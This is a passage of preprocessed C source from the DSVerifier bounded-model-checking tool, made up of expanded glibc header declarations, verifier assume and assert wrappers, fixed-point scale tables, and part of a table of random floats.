extern int putenv (char *__string) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int setenv (const char *__name, const char *__value, int __replace)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int unsetenv (const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int clearenv (void) __attribute__ ((__nothrow__ , __leaf__));
# 675 "/usr/include/stdlib.h" 3 4
extern char *mktemp (char *__template) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 688 "/usr/include/stdlib.h" 3 4
extern int mkstemp (char *__template) __attribute__ ((__nonnull__ (1))) ;
# 710 "/usr/include/stdlib.h" 3 4
extern int mkstemps (char *__template, int __suffixlen) __attribute__ ((__nonnull__ (1))) ;
# 731 "/usr/include/stdlib.h" 3 4
extern char *mkdtemp (char *__template) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 784 "/usr/include/stdlib.h" 3 4
extern int system (const char *__command) ;
# 800 "/usr/include/stdlib.h" 3 4
extern char *realpath (const char *__restrict __name,
char *__restrict __resolved) __attribute__ ((__nothrow__ , __leaf__)) ;
typedef int (*__compar_fn_t) (const void *, const void *);
# 820 "/usr/include/stdlib.h" 3 4
extern void *bsearch (const void *__key, const void *__base,
size_t __nmemb, size_t __size, __compar_fn_t __compar)
__attribute__ ((__nonnull__ (1, 2, 5))) ;
extern void qsort (void *__base, size_t __nmemb, size_t __size,
__compar_fn_t __compar) __attribute__ ((__nonnull__ (1, 4)));
# 840 "/usr/include/stdlib.h" 3 4
extern int abs (int __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern long int labs (long int __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
__extension__ extern long long int llabs (long long int __x)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern div_t div (int __numer, int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern ldiv_t ldiv (long int __numer, long int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
__extension__ extern lldiv_t lldiv (long long int __numer,
long long int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
# 872 "/usr/include/stdlib.h" 3 4
extern char *ecvt (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *fcvt (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *gcvt (double __value, int __ndigit, char *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3))) ;
extern char *qecvt (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *qfcvt (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *qgcvt (long double __value, int __ndigit, char *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3))) ;
extern int ecvt_r (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign, char *__restrict __buf,
size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int fcvt_r (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign, char *__restrict __buf,
size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int qecvt_r (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign,
char *__restrict __buf, size_t __len)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int qfcvt_r (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign,
char *__restrict __buf, size_t __len)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int mblen (const char *__s, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern int mbtowc (wchar_t *__restrict __pwc,
const char *__restrict __s, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern int wctomb (char *__s, wchar_t __wchar) __attribute__ ((__nothrow__ , __leaf__));
extern size_t mbstowcs (wchar_t *__restrict __pwcs,
const char *__restrict __s, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern size_t wcstombs (char *__restrict __s,
const wchar_t *__restrict __pwcs, size_t __n)
__attribute__ ((__nothrow__ , __leaf__));
extern int rpmatch (const char *__response) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 957 "/usr/include/stdlib.h" 3 4
extern int getsubopt (char **__restrict __optionp,
char *const *__restrict __tokens,
char **__restrict __valuep)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2, 3))) ;
# 1003 "/usr/include/stdlib.h" 3 4
extern int getloadavg (double __loadavg[], int __nelem)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 1013 "/usr/include/stdlib.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/stdlib-float.h" 1 3 4
# 1014 "/usr/include/stdlib.h" 2 3 4
# 1023 "/usr/include/stdlib.h" 3 4
# 18 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 2
# 1 "/usr/include/assert.h" 1 3 4
# 66 "/usr/include/assert.h" 3 4
extern void __assert_fail (const char *__assertion, const char *__file,
unsigned int __line, const char *__function)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void __assert_perror_fail (int __errnum, const char *__file,
unsigned int __line, const char *__function)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void __assert (const char *__assertion, const char *__file, int __line)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 2
# 1 "/usr/include/stdio.h" 1 3 4
# 27 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 28 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 34 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdarg.h" 1 3 4
# 40 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdarg.h" 3 4
typedef __builtin_va_list __gnuc_va_list;
# 37 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__fpos_t.h" 1 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__mbstate_t.h" 1 3 4
# 13 "/usr/include/x86_64-linux-gnu/bits/types/__mbstate_t.h" 3 4
typedef struct
{
int __count;
union
{
unsigned int __wch;
char __wchb[4];
} __value;
} __mbstate_t;
# 6 "/usr/include/x86_64-linux-gnu/bits/types/__fpos_t.h" 2 3 4
typedef struct _G_fpos_t
{
__off_t __pos;
__mbstate_t __state;
} __fpos_t;
# 40 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__fpos64_t.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/bits/types/__fpos64_t.h" 3 4
typedef struct _G_fpos64_t
{
__off64_t __pos;
__mbstate_t __state;
} __fpos64_t;
# 41 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__FILE.h" 1 3 4
struct _IO_FILE;
typedef struct _IO_FILE __FILE;
# 42 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/FILE.h" 1 3 4
struct _IO_FILE;
typedef struct _IO_FILE FILE;
# 43 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h" 1 3 4
# 35 "/usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h" 3 4
struct _IO_FILE;
struct _IO_marker;
struct _IO_codecvt;
struct _IO_wide_data;
typedef void _IO_lock_t;
struct _IO_FILE
{
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
# 44 "/usr/include/stdio.h" 2 3 4
# 52 "/usr/include/stdio.h" 3 4
typedef __gnuc_va_list va_list;
# 84 "/usr/include/stdio.h" 3 4
typedef __fpos_t fpos_t;
# 133 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/stdio_lim.h" 1 3 4
# 134 "/usr/include/stdio.h" 2 3 4
extern FILE *stdin;
extern FILE *stdout;
extern FILE *stderr;
extern int remove (const char *__filename) __attribute__ ((__nothrow__ , __leaf__));
extern int rename (const char *__old, const char *__new) __attribute__ ((__nothrow__ , __leaf__));
extern int renameat (int __oldfd, const char *__old, int __newfd,
const char *__new) __attribute__ ((__nothrow__ , __leaf__));
# 173 "/usr/include/stdio.h" 3 4
extern FILE *tmpfile (void) ;
# 187 "/usr/include/stdio.h" 3 4
extern char *tmpnam (char *__s) __attribute__ ((__nothrow__ , __leaf__)) ;
extern char *tmpnam_r (char *__s) __attribute__ ((__nothrow__ , __leaf__)) ;
# 204 "/usr/include/stdio.h" 3 4
extern char *tempnam (const char *__dir, const char *__pfx)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) ;
extern int fclose (FILE *__stream);
extern int fflush (FILE *__stream);
# 227 "/usr/include/stdio.h" 3 4
extern int fflush_unlocked (FILE *__stream);
# 246 "/usr/include/stdio.h" 3 4
extern FILE *fopen (const char *__restrict __filename,
const char *__restrict __modes) ;
extern FILE *freopen (const char *__restrict __filename,
const char *__restrict __modes,
FILE *__restrict __stream) ;
# 279 "/usr/include/stdio.h" 3 4
extern FILE *fdopen (int __fd, const char *__modes) __attribute__ ((__nothrow__ , __leaf__)) ;
# 292 "/usr/include/stdio.h" 3 4
extern FILE *fmemopen (void *__s, size_t __len, const char *__modes)
__attribute__ ((__nothrow__ , __leaf__)) ;
extern FILE *open_memstream (char **__bufloc, size_t *__sizeloc) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void setbuf (FILE *__restrict __stream, char *__restrict __buf) __attribute__ ((__nothrow__ , __leaf__));
extern int setvbuf (FILE *__restrict __stream, char *__restrict __buf,
int __modes, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern void setbuffer (FILE *__restrict __stream, char *__restrict __buf,
size_t __size) __attribute__ ((__nothrow__ , __leaf__));
extern void setlinebuf (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int fprintf (FILE *__restrict __stream,
const char *__restrict __format, ...);
extern int printf (const char *__restrict __format, ...);
extern int sprintf (char *__restrict __s,
const char *__restrict __format, ...) __attribute__ ((__nothrow__));
extern int vfprintf (FILE *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg);
extern int vprintf (const char *__restrict __format, __gnuc_va_list __arg);
extern int vsprintf (char *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg) __attribute__ ((__nothrow__));
extern int snprintf (char *__restrict __s, size_t __maxlen,
const char *__restrict __format, ...)
__attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 4)));
extern int vsnprintf (char *__restrict __s, size_t __maxlen,
const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 0)));
# 379 "/usr/include/stdio.h" 3 4
extern int vdprintf (int __fd, const char *__restrict __fmt,
__gnuc_va_list __arg)
__attribute__ ((__format__ (__printf__, 2, 0)));
extern int dprintf (int __fd, const char *__restrict __fmt, ...)
__attribute__ ((__format__ (__printf__, 2, 3)));
extern int fscanf (FILE *__restrict __stream,
const char *__restrict __format, ...) ;
extern int scanf (const char *__restrict __format, ...) ;
extern int sscanf (const char *__restrict __s,
const char *__restrict __format, ...) __attribute__ ((__nothrow__ , __leaf__));
extern int fscanf (FILE *__restrict __stream, const char *__restrict __format, ...) __asm__ ("" "__isoc99_fscanf")
;
extern int scanf (const char *__restrict __format, ...) __asm__ ("" "__isoc99_scanf")
;
extern int sscanf (const char *__restrict __s, const char *__restrict __format, ...) __asm__ ("" "__isoc99_sscanf") __attribute__ ((__nothrow__ , __leaf__))
;
# 432 "/usr/include/stdio.h" 3 4
extern int vfscanf (FILE *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg)
__attribute__ ((__format__ (__scanf__, 2, 0))) ;
extern int vscanf (const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__format__ (__scanf__, 1, 0))) ;
extern int vsscanf (const char *__restrict __s,
const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__format__ (__scanf__, 2, 0)));
extern int vfscanf (FILE *__restrict __s, const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vfscanf")
__attribute__ ((__format__ (__scanf__, 2, 0))) ;
extern int vscanf (const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vscanf")
__attribute__ ((__format__ (__scanf__, 1, 0))) ;
extern int vsscanf (const char *__restrict __s, const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vsscanf") __attribute__ ((__nothrow__ , __leaf__))
__attribute__ ((__format__ (__scanf__, 2, 0)));
# 485 "/usr/include/stdio.h" 3 4
extern int fgetc (FILE *__stream);
extern int getc (FILE *__stream);
extern int getchar (void);
extern int getc_unlocked (FILE *__stream);
extern int getchar_unlocked (void);
# 510 "/usr/include/stdio.h" 3 4
extern int fgetc_unlocked (FILE *__stream);
# 521 "/usr/include/stdio.h" 3 4
extern int fputc (int __c, FILE *__stream);
extern int putc (int __c, FILE *__stream);
extern int putchar (int __c);
# 537 "/usr/include/stdio.h" 3 4
extern int fputc_unlocked (int __c, FILE *__stream);
extern int putc_unlocked (int __c, FILE *__stream);
extern int putchar_unlocked (int __c);
extern int getw (FILE *__stream);
extern int putw (int __w, FILE *__stream);
extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
;
# 603 "/usr/include/stdio.h" 3 4
extern __ssize_t __getdelim (char **__restrict __lineptr,
size_t *__restrict __n, int __delimiter,
FILE *__restrict __stream) ;
extern __ssize_t getdelim (char **__restrict __lineptr,
size_t *__restrict __n, int __delimiter,
FILE *__restrict __stream) ;
extern __ssize_t getline (char **__restrict __lineptr,
size_t *__restrict __n,
FILE *__restrict __stream) ;
extern int fputs (const char *__restrict __s, FILE *__restrict __stream);
extern int puts (const char *__s);
extern int ungetc (int __c, FILE *__stream);
extern size_t fread (void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream) ;
extern size_t fwrite (const void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __s);
# 673 "/usr/include/stdio.h" 3 4
extern size_t fread_unlocked (void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream) ;
extern size_t fwrite_unlocked (const void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream);
extern int fseek (FILE *__stream, long int __off, int __whence);
extern long int ftell (FILE *__stream) ;
extern void rewind (FILE *__stream);
# 707 "/usr/include/stdio.h" 3 4
extern int fseeko (FILE *__stream, __off_t __off, int __whence);
extern __off_t ftello (FILE *__stream) ;
# 731 "/usr/include/stdio.h" 3 4
extern int fgetpos (FILE *__restrict __stream, fpos_t *__restrict __pos);
extern int fsetpos (FILE *__stream, const fpos_t *__pos);
# 757 "/usr/include/stdio.h" 3 4
extern void clearerr (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int feof (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int ferror (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void clearerr_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int feof_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int ferror_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void perror (const char *__s);
# 1 "/usr/include/x86_64-linux-gnu/bits/sys_errlist.h" 1 3 4
# 26 "/usr/include/x86_64-linux-gnu/bits/sys_errlist.h" 3 4
extern int sys_nerr;
extern const char *const sys_errlist[];
# 782 "/usr/include/stdio.h" 2 3 4
extern int fileno (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int fileno_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
# 800 "/usr/include/stdio.h" 3 4
extern FILE *popen (const char *__command, const char *__modes) ;
extern int pclose (FILE *__stream);
extern char *ctermid (char *__s) __attribute__ ((__nothrow__ , __leaf__));
# 840 "/usr/include/stdio.h" 3 4
extern void flockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int ftrylockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void funlockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
# 858 "/usr/include/stdio.h" 3 4
extern int __uflow (FILE *);
extern int __overflow (FILE *, int);
# 873 "/usr/include/stdio.h" 3 4
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 2
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
void __DSVERIFIER_assume(_Bool expression){
__ESBMC_assume(expression);
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
}
void __DSVERIFIER_assert(_Bool expression){
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
((void) sizeof ((
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ; else __assert_fail (
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
"expression"
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h", 36, __extension__ __PRETTY_FUNCTION__); }))
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
;
}
void __DSVERIFIER_assert_msg(_Bool expression, char * msg){
printf("%s", msg);
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
((void) sizeof ((
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ; else __assert_fail (
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
"expression"
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h", 41, __extension__ __PRETTY_FUNCTION__); }))
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
;
}
# 22 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h" 1
# 27 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdint.h" 1 3 4
# 9 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdint.h" 3 4
# 1 "/usr/include/stdint.h" 1 3 4
# 26 "/usr/include/stdint.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 27 "/usr/include/stdint.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wchar.h" 1 3 4
# 29 "/usr/include/stdint.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 30 "/usr/include/stdint.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h" 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h" 3 4
typedef __uint8_t uint8_t;
typedef __uint16_t uint16_t;
typedef __uint32_t uint32_t;
typedef __uint64_t uint64_t;
# 38 "/usr/include/stdint.h" 2 3 4
typedef __int_least8_t int_least8_t;
typedef __int_least16_t int_least16_t;
typedef __int_least32_t int_least32_t;
typedef __int_least64_t int_least64_t;
typedef __uint_least8_t uint_least8_t;
typedef __uint_least16_t uint_least16_t;
typedef __uint_least32_t uint_least32_t;
typedef __uint_least64_t uint_least64_t;
typedef signed char int_fast8_t;
typedef long int int_fast16_t;
typedef long int int_fast32_t;
typedef long int int_fast64_t;
# 71 "/usr/include/stdint.h" 3 4
typedef unsigned char uint_fast8_t;
typedef unsigned long int uint_fast16_t;
typedef unsigned long int uint_fast32_t;
typedef unsigned long int uint_fast64_t;
# 87 "/usr/include/stdint.h" 3 4
typedef long int intptr_t;
typedef unsigned long int uintptr_t;
# 101 "/usr/include/stdint.h" 3 4
typedef __intmax_t intmax_t;
typedef __uintmax_t uintmax_t;
# 10 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdint.h" 2 3 4
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h" 2
# 1 "/usr/include/inttypes.h" 1 3 4
# 34 "/usr/include/inttypes.h" 3 4
typedef int __gwchar_t;
# 266 "/usr/include/inttypes.h" 3 4
typedef struct
{
long int quot;
long int rem;
} imaxdiv_t;
# 290 "/usr/include/inttypes.h" 3 4
extern intmax_t imaxabs (intmax_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern imaxdiv_t imaxdiv (intmax_t __numer, intmax_t __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern intmax_t strtoimax (const char *__restrict __nptr,
char **__restrict __endptr, int __base) __attribute__ ((__nothrow__ , __leaf__));
extern uintmax_t strtoumax (const char *__restrict __nptr,
char ** __restrict __endptr, int __base) __attribute__ ((__nothrow__ , __leaf__));
extern intmax_t wcstoimax (const __gwchar_t *__restrict __nptr,
__gwchar_t **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__));
extern uintmax_t wcstoumax (const __gwchar_t *__restrict __nptr,
__gwchar_t ** __restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__));
# 432 "/usr/include/inttypes.h" 3 4
# 29 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h" 2
# 30 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
extern implementation impl;
typedef int64_t fxp_t;
fxp_t _fxp_one;
fxp_t _fxp_half;
fxp_t _fxp_minus_one;
fxp_t _fxp_min;
fxp_t _fxp_max;
double _dbl_max;
double _dbl_min;
fxp_t _fxp_fmask;
fxp_t _fxp_imask;
static const double scale_factor[31] = { 1.0, 2.0, 4.0, 8.0, 16.0, 32.0, 64.0,
128.0, 256.0, 512.0, 1024.0, 2048.0, 4096.0, 8192.0, 16384.0, 32768.0,
65536.0, 131072.0, 262144.0, 524288.0, 1048576.0, 2097152.0, 4194304.0,
8388608.0, 16777216.0, 33554432.0, 67108864.0, 134217728.0,
268435456.0, 536870912.0, 1073741824.0 };
static const double scale_factor_inv[31] = { 1.0, 0.5, 0.25, 0.125, 0.0625,
0.03125, 0.015625, 0.0078125, 0.00390625, 0.001953125, 0.0009765625,
0.00048828125, 0.000244140625, 0.0001220703125, 0.00006103515625,
0.000030517578125, 0.000015258789063, 0.000007629394531,
0.000003814697266, 0.000001907348633, 0.000000953674316,
0.000000476837158, 0.000000238418579, 0.000000119209290,
0.000000059604645, 0.000000029802322, 0.000000014901161,
0.000000007450581, 0.000000003725290, 0.000000001862645,
0.000000000931323 };
static const float rand_uni[10000] = { -0.486240329978498f, -0.0886462298529236f, -0.140307596103306f, 0.301096597450952f, 0.0993171079928659f, 0.971751769763271f, 0.985173975730828f, 0.555993645184930f, 0.582088652691427f, -0.153377496651175f, 0.383610009058905f, -0.335724126391271f, 0.978768141636516f, -0.276250018648572f, 0.390075705739569f, -0.179022404038782f, 0.690083827115783f, -0.872530132490992f, -0.970585763293203f, -0.581476053441704f, -0.532614615674888f, -0.239699306693312f, -0.678183014035494f, 0.349502640932782f, -0.210469890686263f, 0.841262085391842f, -0.473585465151401f, 0.659383565443701f, -0.651160036945754f, -0.961043527561335f, -0.0814927639199137f, 0.621303110569702f, -0.784529166943541f, 0.0238464770757800f, 0.392694728594110f, 0.776848735202001f, 0.0870059709310509f, 0.880563655271790f, 0.883457036977564f, -0.249235082877382f, -0.691040749216870f, 0.578731120064320f, -0.973932858000832f, -0.117699105431720f, -0.723831748151088f, -0.483149657477524f, -0.821277691383664f, -0.459725618100875f, 0.148175952221864f, 0.444306875534854f, -0.325610376336498f, 0.544142311404910f, -0.165319440455435f, 0.136706800705517f, 0.543312481350682f, 0.467210959764607f, -0.349266618228534f, -0.660110730565862f, 0.910332331495431f, 0.961049802789367f, -0.786168905164629f, 0.305648402726554f, 0.510815258508885f, 0.0950733260984060f, 0.173750645487898f, 0.144488668408672f, 0.0190031984466126f, -0.299194577636724f, 0.302411647442273f, -0.730462524226212f, 0.688646006554796f, 0.134948379722118f, 0.533716723458894f, -0.00226300779660438f, -0.561340777806718f, 0.450396313744017f, -0.569445876566955f, 0.954155246557698f, -0.255403882430676f, -0.759820984120828f, -0.855279790307514f, -0.147352581758156f, -0.302269055643746f, -0.642038024364086f, -0.367405981107491f, 0.491844011712164f, -0.542191710121194f, -0.938294043323732f, 0.683979894338020f, 0.294728290855287f, 0.00662691839443919f, -0.931040350582855f, 0.152356209974418f, 0.678620860551457f, -0.534989269238408f, 0.932096367913226f, -0.0361062818028513f, -0.847189697149530f, -0.975903030160255f, 0.623293205784014f, -0.661289688031659f, 0.724486055119603f, 0.307504095172835f, 0.00739266163731767f, -0.393681596442097f, 0.0313739422974388f, 0.0768157689673350f, -0.652063346886817f, 0.864188030044388f, -0.588932092781034f, 0.496015896758580f, -0.872858269231211f, 0.978780599551039f, -0.504887732991147f, -0.462378791937628f, 0.0141726829338038f, 0.769610007653591f, 0.945233033188923f, -0.782235375325016f, -0.832206533738799f, 0.745634368088673f, -0.696969510157151f, -0.0674631869948374f, -0.123186450806584f, -0.359158959141949f, -0.393882649464391f, 0.441371446689899f, -0.829394270569736f, -0.301502651277431f, -0.996215501187289f, 0.934634037393066f, -0.282431114746289f, -0.927550795619590f, -0.437037530043415f, -0.360426812995980f, 0.949549724575862f, 0.502784616197919f, 0.800771681422909f, -0.511398929004089f, 0.309288504642554f, -0.207261227890933f, 0.930587995125773f, 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# 102 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
